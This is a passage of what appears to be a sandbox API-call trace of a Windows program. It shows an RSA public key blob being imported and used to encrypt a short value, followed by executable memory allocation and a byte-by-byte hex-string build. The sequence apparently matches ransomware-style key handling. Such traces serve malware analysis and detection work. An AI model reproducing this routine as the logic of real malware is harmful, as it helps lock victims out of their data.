	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] CryptImportKey (in: hProv=0x363d38, pbData=0x18e6b0, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x18df14 | out: phKey=0x18df14*=0x3661c0) returned 1
	[0061.634] CryptEncrypt (in: hKey=0x3661c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18df98*, pdwDataLen=0x18df0c*=0x20, dwBufLen=0x100 | out: pbData=0x18df98*, pdwDataLen=0x18df0c*=0x100) returned 1
	[0061.635] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x290000
	[0061.636] VirtualFree (lpAddress=0x290000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="", lpString2="ff" | out: lpString1="ff") returned="ff"
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="ff", lpString2="9a" | out: lpString1="ff9a") returned="ff9a"
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="ff9a", lpString2="dc" | out: lpString1="ff9adc") returned="ff9adc"
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="ff9adc", lpString2="e5" | out: lpString1="ff9adce5") returned="ff9adce5"
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="ff9adce5", lpString2="d1" | out: lpString1="ff9adce5d1") returned="ff9adce5d1"
	[0061.636] GetLastError () returned 0x0
	[0061.636] SetLastError (dwErrCode=0x0) 
	[0061.636] lstrcatA (in: lpString1="ff9adce5d1", lpString2="99" | out: lpString1="ff9adce5d199") returned="ff9adce5d199"
	[0061.636] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d199", lpString2="9a" | out: lpString1="ff9adce5d1999a") returned="ff9adce5d1999a"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a", lpString2="19" | out: lpString1="ff9adce5d1999a19") returned="ff9adce5d1999a19"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19", lpString2="d7" | out: lpString1="ff9adce5d1999a19d7") returned="ff9adce5d1999a19d7"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7", lpString2="a1" | out: lpString1="ff9adce5d1999a19d7a1") returned="ff9adce5d1999a19d7a1"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1", lpString2="bf" | out: lpString1="ff9adce5d1999a19d7a1bf") returned="ff9adce5d1999a19d7a1bf"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf", lpString2="41" | out: lpString1="ff9adce5d1999a19d7a1bf41") returned="ff9adce5d1999a19d7a1bf41"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41", lpString2="e2" | out: lpString1="ff9adce5d1999a19d7a1bf41e2") returned="ff9adce5d1999a19d7a1bf41e2"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e2", lpString2="3a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a") returned="ff9adce5d1999a19d7a1bf41e23a"
	[0061.637] GetLastError () returned 0x0
	[0061.637] SetLastError (dwErrCode=0x0) 
	[0061.637] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a", lpString2="05" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a05") returned="ff9adce5d1999a19d7a1bf41e23a05"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a05", lpString2="20" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520") returned="ff9adce5d1999a19d7a1bf41e23a0520"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520", lpString2="dc" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc") returned="ff9adce5d1999a19d7a1bf41e23a0520dc"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc", lpString2="78" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc78") returned="ff9adce5d1999a19d7a1bf41e23a0520dc78"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc78", lpString2="73" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873", lpString2="57" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc787357") returned="ff9adce5d1999a19d7a1bf41e23a0520dc787357"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc787357", lpString2="32" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc78735732") returned="ff9adce5d1999a19d7a1bf41e23a0520dc78735732"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc78735732", lpString2="92" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292", lpString2="a0" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0"
	[0061.638] GetLastError () returned 0x0
	[0061.638] SetLastError (dwErrCode=0x0) 
	[0061.638] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0", lpString2="f0" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0", lpString2="d4" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4", lpString2="cb" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb", lpString2="5d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5d"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5d", lpString2="ed" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded", lpString2="2a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2a"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2a", lpString2="d8" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad8") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad8"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad8", lpString2="6c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c", lpString2="32" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32"
	[0061.639] GetLastError () returned 0x0
	[0061.639] SetLastError (dwErrCode=0x0) 
	[0061.639] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32", lpString2="d7" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7", lpString2="e2" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2", lpString2="da" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da", lpString2="32" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da32") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da32"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da32", lpString2="7a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a", lpString2="4c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4c"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4c", lpString2="c5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc5"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc5", lpString2="5a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a"
	[0061.640] GetLastError () returned 0x0
	[0061.640] SetLastError (dwErrCode=0x0) 
	[0061.640] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a", lpString2="62" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a62") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a62"
	[0061.640] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a62", lpString2="1e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e", lpString2="77" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
